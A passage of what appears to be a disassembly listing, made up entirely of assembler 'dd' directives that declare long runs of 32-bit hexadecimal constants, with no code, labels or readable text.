		dd 20C41E43h, 292C8E54h, 986FBE84h, 0FE12D660h,	5C12370Fh
		dd 0DC1828h, 3A196B5Fh,	0D42A052Bh, 9A1EEEB0h, 90810159h
		dd 301EB833h, 4822ADF4h, 6A0004E0h, 1B9FE1B2h, 65583CDAh
		dd 6056014Ch, 785FDE47h, 21EA0898h, 0E63B6D21h,	0A29489F6h
		dd 48ED0C0Bh, 4BBDA15Fh, 670A4FCh, 0F540E75Bh, 364660DFh
		dd 45E64102h, 43304056h, 691D809Eh, 35E63Eh, 19C67192h
		dd 0E4ED847Dh, 171B00C4h, 7A1C2B36h, 0E498B830h, 80BC4E37h
		dd 0B084DF90h, 0E6715Eh, 43795A20h, 9976DAD1h, 370761FCh
		dd 0DE6E3242h, 31EC1820h, 0DCFE26h, 97518D9Fh, 337E173Dh
		dd 3E67C202h, 9031BC79h, 11E6645Ch, 9E685644h, 6C1E21B1h
		dd 1F6016D9h, 5D6B0041h, 6A513D45h, 88C51CD1h, 0BC311A64h
		dd 29FCEA5Fh, 744D2B96h, 80389198h, 5643E663h, 0E96E8C50h
		dd 0E66B4021h, 0EEEEC9Dh, 0E0074983h, 0A2628C3h, 83DCF23Eh
		dd 0D66EDA82h, 3BF10127h, 0A8629844h, 9CBAD84Eh, 183A9E3Ah
		dd 6120D9F3h, 0C9B018Ch, 0F9347C43h, 0ABB442A9h, 6B461844h
		dd 42E66602h, 0EB317856h, 0E64E1C10h, 0D4CFF40Ch, 3861F5h
		dd 0BABEC2E1h, 4A3B7BBCh, 2EAF2300h, 0CA5E40EBh, 3029F064h
		dd 1B319C91h, 0EA48CDD5h, 40792900h, 1218E859h,	8DF6C0FBh
		dd 101C3349h, 3512B6FEh, 9904603Ah, 0C20C6F56h,	1922D771h
		dd 0EBEC077Ch, 1147F188h, 0CC42AB29h, 3406279Ah, 0DE034FDFh
		dd 7B7A7AA9h, 0CD5F76FDh, 6B096720h, 6E0C8218h,	2F0D00FDh
		dd 0C778B3CDh, 2D03B532h, 0A78F9CD4h, 2CD94249h, 803081E2h
		dd 0FFF3003Eh, 0C7B4A77h, 706252Ch, 369BADF7h, 78952468h
		dd 0ED465E6Ch, 25D17607h, 0BD6AF34Ah, 57A07FA7h, 382351BEh
		dd 2700A091h, 67BF367Eh, 9A400AFh, 0A146E677h, 0E8194B9Dh
		dd 68D82DB2h, 0FB048218h, 98535F85h, 9B208332h,	1EFD2Dh
		dd 0E8C8E37Ch, 0E00D735Ch, 9C9191F4h, 60603D64h, 567248E6h
		dd 1AC06499h, 0FD0E668h, 531674E8h, 0E500BC88h,	9F5E20ECh
		dd 8D8C098h, 0D817AC36h, 0E50C0D4h, 4E3DB0D5h, 0D9DD0039h
		dd 49DA89B9h, 4280B02Ch, 9EA86498h, 5BC03A42h, 20639B8Ah
		dd 90AB9904h, 572003A2h, 0CA656C31h, 983A5A58h,	6F018E23h
		dd 3E33EF51h, 806D4091h, 5F32FD29h, 229A432Bh, 709C038Fh
		dd 0C46E16FDh, 59BE2EB0h, 5F6BA300h, 0D0F315CAh, 0C617FDAh
		dd 2C302F81h, 0BFF299F1h, 6983CE07h, 35B056A7h,	2A0580Eh
		dd 0AA024B17h, 0B844D203h, 182D3422h, 19CA53A4h, 0C0302957h
		dd 5BEDF8D6h, 1896601Ah, 4F9C351Dh, 32C0DE50h, 88BC7200h
		dd 42027AC8h, 5E7771h, 405BE47h, 41B2518Ah, 9EA8F664h
		dd 0E4003C8Dh, 2482AC32h, 91448E65h, 0FB7C8066h, 8C635F7Bh
		dd 909D8444h, 7EEE00C0h, 0CF5F99D7h, 9C1232E6h,	0AC014393h
		dd 7433ACE5h, 708FDCFDh, 41895A5Fh, 0A0599400h,	58320FEDh
		dd 3069785Bh, 7E12FB85h, 80388B5Fh, 0FD2C00A0h,	0E4386B90h
		dd 843F9CDBh, 561C8254h, 0C0692021h, 0B1DAA284h, 19E7D1E4h
		dd 123FC7D8h, 5F2429Ah,	30EC1F02h, 9E53A2D0h, 17C8B40h
		dd 0A8252BC5h, 23DA6E5Dh, 9E43A1B8h, 0B93F840Ch, 0D3FF8051h
		dd 78A10516h, 0E0702A8Fh, 28A2FC88h, 4E0EF19h, 1087AC34h
		dd 0F1CA02B5h, 0D4A88126h, 30ACE70Fh, 16440834h, 116C1749h
		dd 7F4C7E4h, 3D7DF240h,	793F3EE0h, 91605748h, 0FEF10D8Eh
		dd 64586600h, 6029896Bh, 0DB5F1239h, 71FC089Bh,	639841C0h
		dd 864676A8h, 5A214060h, 109B89h, 83AFD1A8h, 0C742842Fh
		dd 6BE52E0Bh, 9258A049h, 90D4EB78h, 0C2530724h,	0C0D8C381h
		dd 0A1252A3Fh, 511FD3FBh, 3E8069F3h, 9CBF7A21h,	0F68B00C5h
		dd 6443C804h, 0E40BD8FFh, 0A0DC3957h, 6F4734FCh, 41A66091h
		dd 9A435F1Bh, 0B3BEF4A0h, 4582C80h, 0B857A96Eh,	88588E47h
		dd 0DBA5C08Fh, 91F2AE65h, 0EC29590Bh, 53BC2384h, 0E50FDCDAh
		dd 0C8C9B084h, 78C2BA0h, 0A8619843h, 68586836h,	0DF98004Bh
		dd 7A843D0h, 0EC99542Ch, 8ACF70Ch, 0BA8B0EDCh, 0C60ED96Fh
		dd 26642383h, 30EE5CE9h, 374C40DCh, 143CD4ECh, 2CC044D9h
		dd 896098F9h, 70EE561h,	8379A4C2h, 11107190h, 84002067h
		dd 47A95D00h, 72A6C7A0h, 31DFF40Bh, 4D93E09h, 509C57CAh
		dd 115FA4A6h, 0B2370F00h, 5C80E74Ah, 1E2B2C70h,	0ABF7C364h
		dd 4708C101h, 0BFAF3B5Dh, 11361FCh, 6D191DC4h, 0EC7B58D7h
		dd 0F0BA0AACh, 0F2E4A085h, 7D0FE360h, 9775CD00h, 0AC35F742h
		dd 0F82F6B8Bh, 8311401Dh, 65AF7380h, 1800A2ADh,	5E522CA3h
		dd 4C8C29B0h, 54B0ECCCh, 0F630971Bh, 347FF1BBh,	37260119h
		dd 3CDB7E2Fh, 0A3089867h, 3F307C21h, 94000119h,	0EB6AE66h
		dd 0BB0B9F40h, 20D99778h, 48A1410h, 4DC60FF8h, 1F40742Fh
		dd 9DA47E17h, 59D67204h, 80B61BCBh, 67016C23h, 70564FE6h
		dd 1F8F8873h, 5C30E6C0h, 53098255h, 0A0A45Ah, 7F70BAD0h
		dd 8408B12Fh, 23D91FE4h, 550AE47Dh, 0A846567Ch,	0A0705915h
		dd 8A117188h, 27193380h
		dd 25876737h, 7FF40C80h, 8E0011D6h, 0FB69E5C4h,	7BFA4B54h
		dd 0AEA10084h, 951BFE3Ah, 4DE8525Fh, 7E30F754h,	357C1908h
		dd 40A4C49Fh, 0F5193276h, 3B79004Eh, 7F7CEAB0h,	2A62B96Ah
		dd 64A38EF8h, 5FD518F4h, 1A5C39BCh, 0E491C8AEh,	6918EA71h
		dd 9F1160Ch, 0FD161D5h,	278DA00Fh, 1A71EEA0h, 5F0E6274h
		dd 0C534D9D3h, 0CC1FEBF7h, 0F941CA45h, 0EE303882h, 26A4610h
		dd 5F7FFB80h, 0BCE783h,	2FFD2B99h, 8D30CA7Fh, 0EC9EF03Ch
		dd 0C3A503D5h, 0B29A5BA9h, 0F02FE04Ah, 0BB00E723h, 4F57C739h
		dd 0AC36090Ah, 3409373Bh, 664C7466h, 0F8C7AA4h,	0A83F9845h
		dd 0BDF488D1h, 0A3984D80h, 26E1D682h, 56179C78h, 0C4400601h
		dd 0ED618C7Eh, 83BA00E7h, 7932855Ch, 5EFAC002h,	60010B0h
		dd 7F4E5464h, 0BAF545A2h, 51F8BBBCh, 680188Dh, 9DA9D96h
		dd 0E52639D4h, 733F6758h, 0E62BEC01h, 0E0020157h, 24EEA882h
		dd 0E09831F5h, 0A0A8D7BFh, 0A07EB57h, 177A523Dh, 0ECC06937h
		dd 39559D67h, 7CCCE508h, 1738D710h, 584F30BFh, 3A2A20A4h
		dd 3B5E85h, 7F6AC016h, 6C399D4Fh, 27BC725Ch, 400375Ah
		dd 0C193BD4Ah, 7DD3710h, 0B1D826h, 26AB2E34h, 516CCFCDh
		dd 0EC3A41C2h, 12B85231h, 17FA92h, 0C5B040D1h, 0DF1B5181h
		dd 0B82129D7h, 12FF2Ch,	3A947B60h, 0B3A53D24h, 2244C327h
		dd 488FF494h, 3A06E8C0h, 0F800FF63h, 0E6A655BCh, 6800FCA3h
		dd 1C894CBh, 29486CE0h,	71783341h, 3C481882h, 3A06EEB8h
		dd 79BA5AD5h, 0BF300970h, 77BDF9ECh, 7D86016Dh,	0ED529BA1h
		dd 5DBAF865h, 62830E1Ah, 51AC6230h, 18F7D9B8h, 2ED0E42Ch
		dd 0BA46D72h, 0BC3065EEh, 0ACB9D72Dh, 0A54E5700h, 4FCC91h
		dd 2BA2A6B0h, 0AAE3CD2Eh, 43FBB201h, 0ECA127C8h, 40091C70h
		dd 0AC7E3445h, 0CC0104E7h, 125B75EBh, 2F4E5028h, 38E7239Ch
		dd 11B9A28Bh, 98BBE180h, 60C03DCFh, 23089F8Ah, 376F05E6h
		dd 0A6797E27h, 6564B01Ch, 2F4F0220h, 0E4F1E5FAh, 88214451h
		dd 26D3C883h, 540C90F4h, 0DB9B076Ch, 40877D18h,	3925B28Ch
		dd 0EC8EF62Ah, 28E2DD00h, 0C08F42F0h, 1A8C00FBh, 0B16F5141h
		dd 0E45CB045h, 8CF4E858h, 5649AA00h, 0E651E321h, 403904B3h
		dd 82B835F2h, 4F306F08h, 0A8651398h, 0C08B96h, 0E69B975Ch
		dd 120F8372h, 82D6CC89h, 731ACD7Ch, 3B215054h, 8C133F02h
		dd 0C016495Eh, 0C6711Bh, 6C6E8A39h, 6F2F9E91h, 0DD50EE15h
		dd 22C3EC4h, 6629772Ah,	0A0084039h, 0D1B49147h,	25EC198Bh
		dd 0AA0913B0h, 1E50027Eh, 2C78EE10h, 2CDE7A00h,	0D43957C3h
		dd 0B833088Fh, 2880C904h, 0EB54BA4Bh, 0E76E8C5h, 6B7109A4h
		dd 0CD40D0E0h, 0F9093AF8h, 9485BADh, 59B49240h,	188679A4h
		dd 0F93D006Ch, 1DFC3309h, 0DF58B11Fh, 3C152493h, 0BF9C3202h
		dd 6BA4E913h, 0BAD0F4E8h, 0F74B219Ch, 82198081h, 0A6184F35h
		dd 19E47889h, 0D7FF07D6h, 0E0E6B07Bh, 0F7C45991h, 5D5A5E05h
		dd 0C8CED0F8h, 1C9A4C8h, 3F6A0FB3h, 546203DDh, 2FE73300h
		dd 1F527B42h, 245E6D01h, 15239C37h, 7C44D080h, 0B0126E56h
		dd 0C4AC392Ah, 4B037000h, 57DFEF04h, 5320057Bh,	14659A2h
		dd 0D89C3088h, 2F6C60C6h, 0FA9E4820h, 0AECE3E18h, 0B280A45Ch
		dd 0FDD86EDBh, 59489C90h, 71D61CF8h, 8C411C92h,	0A7986732h
		dd 9343197h, 18402FE9h,	937262EBh, 4902E98h, 0F933FC33h
		dd 0B046B09Eh, 0DEB82631h, 9EC2CC0h, 0D4C03DCAh, 2491035Ch
		dd 8F0E4E00h, 1CE74016h, 40F2737Ah, 0D68D53D5h,	0A53AF04Bh
		dd 9124B010h, 5B5C2Fh, 8D5D34D5h, 264F327Ah, 23746709h
		dd 0B39CA03Eh, 90247731h, 0AB9339F4h, 69739601h, 3849DD5Ah
		dd 27AE0398h, 0D04CBAF6h, 0A7F4ACh, 5C74DB1Dh, 6309B3F0h
		dd 700A149Ah, 0B4028E53h, 0A7D13900h, 9CADBBFh,	52A651C8h
		dd 0A4913017h, 7A376481h, 4C80C015h, 0BBE22B12h, 0B5F7B806h
		dd 0B1CD3A29h, 0BFE82A80h, 84084B6h, 0EB0098A4h, 0CDA05C7Fh
		dd 112EE4h, 10D55E4Dh, 7CA9CFCAh, 33E3190Bh, 340082DBh
		dd 228D2027h, 3CEC1757h, 6D015824h, 0EA90CC20h,	0E43AD61Fh
		dd 0DA6001A7h, 89ECA588h, 94FC0CB3h, 5F78DB2Fh,	0F1255A12h
		dd 67C47C80h, 0B8B148C8h, 3363057Ah, 53EDA259h,	8D8801B0h
		dd 4E936D6Eh, 8F7C1120h, 8856D585h, 80513FF4h, 0B5F434B4h
		dd 0F98FB10Ah, 8C08B8CEh, 193960F6h, 2CE33729h,	317DB060h
		dd 64AB0019h, 0F62A5523h, 0FE053730h, 791A6FC0h, 0EDE148A2h
		dd 0BD0C9Fh, 9A11E15Eh,	2586FDB3h, 0D003AC08h, 8BDA93DBh
		dd 0C1E8C810h, 80B3F604h, 1D85A2B9h, 24009CAh, 6A568B4Dh
		dd 58B57894h, 0ABF6C300h, 69C3D1Eh, 5DD53CD6h, 940A69B6h
		dd 0FC316BE0h, 155A5305h, 7155E492h, 18A47114h,	0AB2F0072h
		dd 6E363E0Ch, 8F5ACA23h, 8D691000h, 93FCF51h, 5438DEA8h
		dd 0A7919C17h, 825FF58Eh, 23D59971h, 8DC56C48h,	0E5626909h
		dd 115DE41h, 81420D5Ch,	1BA930D4h, 17DCB894h, 194BABCh
		dd 165F839Dh, 5548922Ah, 0A523402Fh, 0A9853400h, 2824A40h
		dd 0F15A58DDh, 50D8E5h,	0A2F4720h, 2489B3E7h, 0DB3A0EC0h
		dd 4A095921h, 6BD420D9h, 0E50120B6h, 29EB9085h,	0B3504842h
		dd 9119FBA4h, 0AB185735h, 93D7988h, 0AD911619h,	0C25FACC8h
		dd 0FC4AED29h, 7DB2133Ch, 0E19EC082h, 0A0A70FD9h, 8691EC97h
		dd 3CAC1F80h, 0A30022C7h, 5F764BF3h, 99F41DA2h,	0B4EA0904h
		dd 186CA0C9h, 39FD0B26h, 2045735Fh, 0FD71A780h,	1CA2395Bh
		dd 706580h, 7CE441E9h, 0E32FA88Dh, 0D5042213h, 7B5C0047h
		dd 7D586A77h, 0CE1A8044h, 7169E65Fh, 1EBA0418h,	0F3B65260h
		dd 30E9B2F4h, 371D23CAh, 541C7F99h, 19A26943h, 327003FDh
		dd 0B931B4D3h, 0C4F4302Ch, 0B3A06040h, 340158ADh, 0AE2F5F3Ah
		dd 0DDEBD402h, 0B3EE8887h, 3058BD5Bh, 0D20412C8h, 3A20C02h
		dd 3A85C3Eh, 0D8AA0159h, 139C183Fh, 483EBCDCh, 0B00E723h
		dd 7720C317h, 0DC6C006Fh, 2BE5303Ah, 89D7015Bh,	0C780A0DBh
		dd 2B6FD97Dh, 0B812220h, 21930161h, 0D51BB800h,	8CAA6358h
		dd 0A511709Dh, 0D821A80h, 0CD0A3A70h, 0B857D53Fh, 0A059DC80h
		dd 1A3315B5h, 98DFF308h, 8B7978F9h, 5305D318h, 0E7B201B0h
		dd 3A4B801h, 0D084A7F2h, 5699399Dh, 0ECA2A425h,	0D600703Ch
		dd 30D5C026h, 0D800DDF0h, 92C98FF4h, 0D2470494h, 75C7A98h
		dd 8FD1C117h, 4847269h,	2BC3B040h, 3720B45Eh, 8201B4EEh
		dd 5BE6B833h, 3C2103C9h, 35DA3183h, 0B91E441Eh,	325B27Bh
		dd 8059C420h, 0F08E2693h, 0C1DB00ACh, 0D6ADA4AFh, 560C44A0h
		dd 588B2C31h, 0C253127Ch, 0E4BC509Dh, 8EA7E8h, 41BE4BCAh
		dd 0E2E5461Fh, 7C25A0C0h, 968A22Ch, 33FE307Dh, 8E914C97h
		dd 0FC5CD680h, 50045956h, 0D7E43742h, 0F00018ACh, 5DEEB8A1h
		dd 74919E6Fh, 869E40F0h, 878D3C00h, 35E20918h, 2DB43A0Ch
		dd 0A5452501h, 0D81DF107h, 1801A058h, 101BCECCh, 0BC2CA4D2h
		dd 56DD3D03h, 9820352Fh, 718A4CD9h, 6E083C02h, 8C88562h
		dd 0F72EE1A2h, 5596F4BFh, 0A688C0CBh, 0B57546C0h, 9B00966h
		dd 3C827916h, 78CFF7D4h, 0C2965E40h, 8FD30990h,	887055FCh
		dd 12EDB320h, 0DA528CC0h, 8C21C0CCh, 61A7A4h, 1641FAF7h
		dd 7CEB7B62h, 4833C400h, 2C075D7Eh, 0B4212C56h,	2FEE859Ch
		dd 23382EA7h, 330B07A9h, 0FDA2C1D8h, 5642011h, 97AFA894h
		dd 80F79140h, 0D25B2017h
		dd 27D89AAAh, 449782FBh, 60DA4008h, 0B3343C3Dh,	0D005DF8h
		dd 2783BF75h, 4A04B8F7h, 0C244D1D7h, 0A93EFCBAh, 84941F00h
		dd 52ADE9ABh, 0F21A07FAh, 26DB043Fh, 0F10031D1h, 56BE811Ch
		dd 28EFC3Eh, 9C3409DFh,	0DC80E7A7h, 82E61045h, 80BC3595h
		dd 7AAA8A4Dh, 510186CBh, 0BF6B2C09h, 7D009E33h,	0BA00843Ah
		dd 4956D6D5h, 0FAF0C3E6h, 0B42B5390h, 0D530F9A2h, 1FDBEA4Ah
		dd 1624E592h, 1EA82009h, 8B5F0210h, 0EB231C3Bh,	36065D01h
		dd 0DC68E7C4h, 8EDFEA04h, 0C2B8D86Fh, 30370605h, 1094320Bh
		dd 0BD85B431h, 1E23830h, 6B71647h, 3351D8A1h, 338FA2F8h
		dd 72BA62F8h, 0B30BA87Ah, 0A1DC0A01h, 916E230Ch, 2A3F2000h
		dd 0DCF3592Ch, 0BD2C17ADh, 0F4790046h, 3B64F08h, 16AC92B4h
		dd 5221D933h, 0A128E32Ch, 220C9E40h, 0E6BEC00h,	0B66CEFF8h
		dd 33E33EF1h, 23A82F5Fh, 5B8D0F90h, 749C33A7h, 4F5C85DBh
		dd 0A6E4428Ch, 0C7B0D0BDh, 0B8A530FAh, 0E638EE4h, 80430CE1h
		dd 0A0567CACh, 0F846F315h, 24CCB8C2h, 12347450h, 0E784E633h
		dd 0D7718A61h, 1A5BA20h, 7F9B2809h, 2C2BE0B3h, 0A70D7FD4h
		dd 59BBA38Fh, 84BC3C68h, 17EA008Ch, 5475A5BAh, 0D2B05680h
		dd 2405EE13h, 0D10F6CE2h, 0B6E03Bh, 7BD70A48h, 0D517B483h
		dd 0D053175Ah, 0A223103Ah, 3D0A6E00h, 9ACA7Ch, 0F75E0BD3h
		dd 55571488h, 0A6568D13h, 0A8C8F48Bh, 2BC1F6C0h, 0C7060125h
		dd 3A35DEE1h, 28684369h, 631A1799h, 916F01B4h, 6382E8DEh
		dd 3FBC107Ch, 8400DA43h, 4071EB04h, 7307495Eh, 22190E6Ch
		dd 8E50C0E9h, 9ACB9ADh,	0F0C8F7EFh, 0A9736E59h,	236FFC05h
		dd 889B22Ah, 0D023C2E1h, 0D830EDA2h, 0C57D0F4Ah, 0D147FC67h
		dd 0ADF690B5h, 80973903h, 3D38B94Ch, 803C9EBFh,	0AE806E55h
		dd 0E6030CE5h, 4446B6A1h, 434E809h, 3B583BA0h, 0FCB014F9h
		dd 0F8BC9082h, 8005D943h, 88CA51A9h, 0E45E3CA0h, 0D40A0844h
		dd 0F432D50Fh, 60F0C7C0h, 9D05A4Dh, 0D03C2157h,	2CEE0504h
		dd 29DA006h, 0E16BE520h, 89125C71h, 6C811865h, 79D63580h
		dd 367A6158h, 5787D019h, 0C1E96007h, 667022ACh,	95F7CC17h
		dd 33777420h, 0E41EC786h, 0B0C080E8h, 2F1FA33Dh, 0B27302D1h
		dd 351E7821h, 990BCC0h,	311BA013h, 8D232C2Fh, 84EF2E04h
		dd 1D090085h, 807CF0A8h, 3D9E56C6h, 32CE28D3h, 0D47941D8h
		dd 0A918A0D9h, 0BEC948h, 74CB892h, 0BC08525Ch, 0E8F181D0h
		dd 0E0874311h, 44009B5Eh, 0AA6BA76Ch, 4BAC31AFh, 0A22484FFh
		dd 3282F29Ch, 60F2A901h, 0A10C20C1h, 0B0F3C40h,	0D73FF77Bh
		dd 0C5B09890h, 0EC8F210Fh, 6B468034h, 199DB11h,	5DA6BB8Bh
		dd 0D3854788h, 36EC3AE0h, 0E574A095h, 16FB7D4h,	23C9403Ch
		dd 30AF478Ah, 43F8B8D4h, 846E896Fh, 0CADE0BCh, 0C438CB5Ah
		dd 1E309FEAh, 7505D649h, 0EEF6C65Bh, 0EBE828A8h, 34FC008Ch
		dd 51B5A058h, 349C034Ch, 121ACD80h, 0E2182871h,	0A119009Eh
		dd 0E2706334h, 8D755072h, 406F5E00h, 451E599Ch,	2DFC0B58h
		dd 24C8F64Ah, 0C003989Eh, 0C64D9463h, 516BD8C5h, 282D0907h
		dd 0CD00A03h, 2938D73Ch, 0E10288D6h, 0C3783A08h, 0DB104B64h
		dd 0BC5D8078h, 4FCAD318h, 0DD745361h, 0C0205A28h, 77A8360Eh
		dd 0A3DF0841h, 9A274905h, 21908224h, 2C5EF2h, 0AFD67B7h
		dd 3802694Bh, 0DD33ADA1h, 7868D3B2h, 3938FA62h,	424F800Ch
		dd 0A540CBEBh, 0BF2F09A1h, 0ECE5B1CFh, 5A10C8BFh, 0E488D4CEh
		dd 629ECBC0h, 5E572DE8h, 92600C1Ch, 6FC35971h, 0B4762C03h
		dd 1A099D28h, 87B307Dh,	215CD4ACh, 8D809FEDh, 0D1BD8290h
		dd 0A88F15A9h, 51138C89h, 0BFEC0508h, 0DAC00B98h, 5248BC04h
		dd 0FDF2B4A2h, 9A8AE30h, 0E42957CBh, 7604D422h,	1D028C78h
		dd 0D8E8D55Ah, 3CB491DAh, 12BE28E4h, 20BF1973h,	5A0159D4h
		dd 0E64081E9h, 0EEF8F65Bh, 499D743Ch, 34F06038h, 49C7053h
		dd 5C0CE135h, 0DA1E1880h, 6F5613E5h, 0BC804C1h,	7110F4EDh
		dd 88B5B786h, 0BBF8D500h, 40762BA2h, 0A03B0BB3h, 50E4247Dh
		dd 0B611B42Ch, 1F12323Dh, 2BE4E10Eh, 1E29C20h, 20EF0031h
		dd 4FA58325h, 2E122DBEh, 0F4F077A3h, 0D149E7Bh,	89A1E104h
		dd 8086CA18h, 5F1D0D04h, 25D5B6Ah, 348CD9F8h, 0A258A87Bh
		dd 998BEh, 835E16Eh, 0E5A497B5h, 2D384805h, 38E59941h
		dd 8DBCF468h, 12EF018Ch, 561F7949h, 20E83098h, 0DC02E475h
		dd 7C34D8B2h, 28CDE0Bh,	82DB0440h, 215CB4D4h, 3980D9F8h
		dd 0BBA771E3h, 0EC0327E0h, 0DE7CBC80h, 76CB43DDh, 0E85C0E47h
		dd 349E1723h, 236C2E48h, 7E840086h, 0C161F60Fh,	0E4D66717h
		dd 4FD86C66h, 0EA9C0B4Fh, 0A944F8C7h, 705AF861h, 0BD2BA240h
		dd 5821F43Bh, 0C621F8h,	320FF1DCh, 0D5E545CCh, 40485451h
		dd 4DF8E40Ah, 465EDC9Ch, 6B001F8h, 0B25EE225h, 5C3822DDh
		dd 0F8BAC210h, 0F2048CEBh, 5BA89711h, 0CAD5A091h, 2A28083Ah
		dd 3E9848C0h, 2C6E4FA8h, 50016D2Ch, 68B31D98h, 0E6DC3F71h
		dd 25D091C6h, 0A2E408C5h, 0EB8D160h, 0F1A56E01h, 31567D4Bh
		dd 0F83387F8h, 701978A2h, 1C0A9F21h, 0E08C8274h, 6F183F27h
		dd 8AC62623h, 86C2C20h,	420BDA84h, 0C0FCCDC2h, 31D5FC29h
		dd 5C5F3A00h, 4839248Dh, 7E2B18A8h, 647F68ACh, 16032012h
		dd 7F395CE0h, 96522FE6h, 97800CBDh, 23A48DE7h, 0C79540E2h
		dd 9D1BB72Dh, 80A7916Ch, 0B862A4D7h, 40D64A75h,	44E8BB2Ch
		dd 563EA909h, 3E9BB6Bh,	0BF37C8DBh, 0A27C98B3h,	940100EAh
		dd 7A5FE8A6h, 0BC4E9E59h, 7300106Eh, 20E486B0h,	401D56CFh
		dd 35425FE3h, 0D9E71638h, 18F6D924h, 0B5C23CEEh, 0CF6F5909h
		dd 1C703873h, 28FE050Dh, 0F1FB58D5h, 0BC282854h, 61048CA6h
		dd 0F6632BB3h, 0B19CB4h, 0AB5A7826h, 531C1FDBh,	0DBECE04Ah
		dd 0DFA62704h, 7428ED29h, 0B6CB4701h, 0B01203A2h, 0A7633024h
		dd 0DA3F428Ch, 66FC8B19h, 0F3E7EF8h, 0EE9071BEh, 0A280DA08h
		dd 3C899D75h, 0D7A75B91h, 315980D8h, 1B5D788h, 52987160h
		dd 0A7B82838h, 108E28Ch, 35ABACD7h, 30E1837Ch, 4A4DA3DCh
		dd 7EFC4114h, 24EE6840h, 0C14BD604h, 4623A2C1h,	0FCDC74B5h
		dd 149A825Eh, 2BB96DC0h, 0A3E6C799h, 1AC16416h,	0E634F407h
		dd 0FB52A742h, 20445810h, 0A4A4813Eh, 2340A4D5h, 8AD0CBh
		dd 5E90CC9Ah, 1C3DC20Dh, 410BB000h, 0B1819EA6h,	0FCA4588Fh
		dd 9DA26982h, 5C125C70h, 5CB45BE2h, 0DDFF09CDh,	0C0042442h
		dd 4530E0DBh, 0E4357F0Bh, 47B460B3h, 0DCFC4CB0h, 18CF6E8h
		dd 65A974Dh, 8BFB70BEh,	0A02EBF61h, 0AB74D6E0h,	8E40004h
		dd 5BAFF2AEh, 0A200E27Fh, 0CF388B55h, 9E23A02Fh, 56AC934Ch
		dd 697AA84Ch, 8101D89h,	0BC60D9F2h, 1415178h, 0E8E55740h
		dd 0D4B76E59h, 0F494AC39h, 0A4809C1Ch, 5680B6C8h, 7B099529h
		dd 9035C854h, 0E9ECB0FCh, 0A349008Ch, 8BE063D7h, 6CB82A79h
		dd 7D889174h, 670E40C3h, 278E9407h, 5B90326Dh, 66F5B25Fh
		dd 0C3C2842h, 31BBE801h, 3E51A259h, 257018A8h, 0D009F25Dh
		dd 0E3007CE4h, 24BFBA6Bh, 1C40C40Dh, 0C94A8258h, 8A9F201h
		dd 0C200058h, 7C80B01Dh, 0A0F89E83h, 0DBB23230h, 145C2028h
		dd 3AA8467Ch, 53498943h, 0B33CA0D6h, 0D793B231h, 0E030A688h
		dd 0F4F7DDEh, 0DB936904h, 0B230E392h, 0A7A63081h, 0EAEBF900h
		dd 86D43BCCh, 55940B25h, 106DBC1Ah, 0E8E984C0h,	5E6AFEE7h
		dd 3A2C803Dh, 3225BBE4h
		dd 9FDCA2B5h, 239A01E0h, 5844682Eh, 0A9A73FECh,	8DD168DDh
		dd 0BA0C9918h, 80316B79h, 404241E5h, 0BCC20BDCh, 6C5FC0A4h
		dd 206E6017h, 12CFE303h, 0ECC83BDEh, 90B4541Bh,	80BD60D6h
		dd 0A3E67986h, 0C2568E01h, 0CF99E7A1h, 9778C2EBh, 82EA91C0h
		dd 7E5A10A5h, 5E9840FCh, 0F700862Bh, 650B67C4h,	59FA0956h
		dd 1D0044DEh, 3117BA1Eh, 0C595CE4Fh, 60F9E4C8h,	30B81CEh
		dd 0FACA2551h, 5CAB337Dh, 0CD2B5805h, 0B4028DAAh, 0FC9C2157h
		dd 5B7009F8h, 0CE83209h, 0C082D498h, 809E2E30h,	0B003C79Fh
		dd 0B7F783FAh, 1E69902Ah, 1FDE305h, 6B6FEB20h, 0B460DC1Ch
		dd 0AB1C3E82h, 7D00CD3Ah, 316C8050h, 640F07D5h,	807E4733h
		dd 6F2F8C6Bh, 16288D01h, 0AF4232CCh, 4127A460h,	0D90020DFh
		dd 0DAD0EE12h, 7C80089Bh, 1FDED6F4h, 20083E2Dh,	62DBD7B4h
		dd 0FDAF00CFh, 8CF415AAh, 277334EBh, 382A6D1Eh,	0D5B84AC2h
		dd 82507E5Ch, 0B247150Bh, 95B7584Eh, 80FD91A4h,	6F20F2A5h
		dd 392D60D6h, 0B3214650h, 90C85C4Ah, 0CEA35B0Fh, 85410030h
		dd 21F7E551h, 7CB09CDAh, 0C0008F46h, 5DF488D7h,	3117564Dh
		dd 94A4D8C4h, 61F728DCh, 44E89028h, 1C07EAB0h, 59677545h
		dd 0B7FC38F0h, 0D0E44CC3h, 0ABF9A19Fh, 6C02D118h, 1B04D7Ah
		dd 78C5802h, 0E7B2537Eh, 41DF935h, 7083A391h, 0F080AAABh
		dd 0BCEAB83Ah, 0E42E042Ch, 7DFD467Eh, 2657E13Ch, 8002D4DDh
		dd 425370A9h, 981D5DA4h, 609E4388h, 5A2FDF08h, 11239404h
		dd 0AD80D6D5h, 24F4C5A0h, 27486C84h, 3E6F1098h,	944880h
		dd 0B92C9FBDh, 92232678h, 5F88B167h, 6615E2C0h,	3CB490A8h
		dd 0A70012B6h, 625883DAh, 5053DF5h, 8CBAF121h, 279908C1h
		dd 0DE603C00h, 0B6E6EC04h, 38B27977h, 0F830EBE2h, 0B4547875h
		dd 8D465E30h, 12D4321Dh, 64801B3h, 0DA03A86Bh, 31853068h
		dd 0CC9BAC3Ah, 8DB86214h, 6B0F0249h, 98005C66h,	2A2CD379h
		dd 0DD51E4h, 151767A9h,	7E6A5C7Dh, 0DED1C600h, 0FDD00E09h
		dd 52AF2544h, 0A1583853h, 3D31E891h, 7B1360F5h,	7640F8Ch
		dd 2800D0D4h, 813DA65Eh, 0C2629DFh, 172D20D5h, 0DA3F8894h
		dd 0FFC06A64h, 3C68C4D1h, 4AD7E0Eh, 0D0DB70A7h,	8A1CE5BDh
		dd 9C90E1E6h, 217920h, 70F5F001h, 0C603A4BBh, 5C81A34Fh
		dd 3E3A1BBDh, 0DA401070h, 0BC6B25C0h, 0E302CF89h, 0D7E97176h
		dd 80ACFCB4h, 2EEC8B64h, 0E80948BFh, 0B2F91AA1h, 5EC85C2Ch
		dd 0B07E946h, 0B176EB39h, 0E4B343FAh, 8A4B0159h, 9406E812h
		dd 0F0E08E86h, 4A5EEEDFh, 7A4C0F4Eh, 0ECD8CA04h, 4B0501B8h
		dd 73CD7433h, 6EAED444h, 48FF01BCh, 0CA4EECD3h,	24B306FCh
		dd 0AC7D0Eh, 8D5C76A2h,	83063825h, 0B76E0BA4h, 407F4D98h
		dd 3087A4Eh, 0D1B465DBh, 14E4FBBh, 31FFE510h, 138C2274h
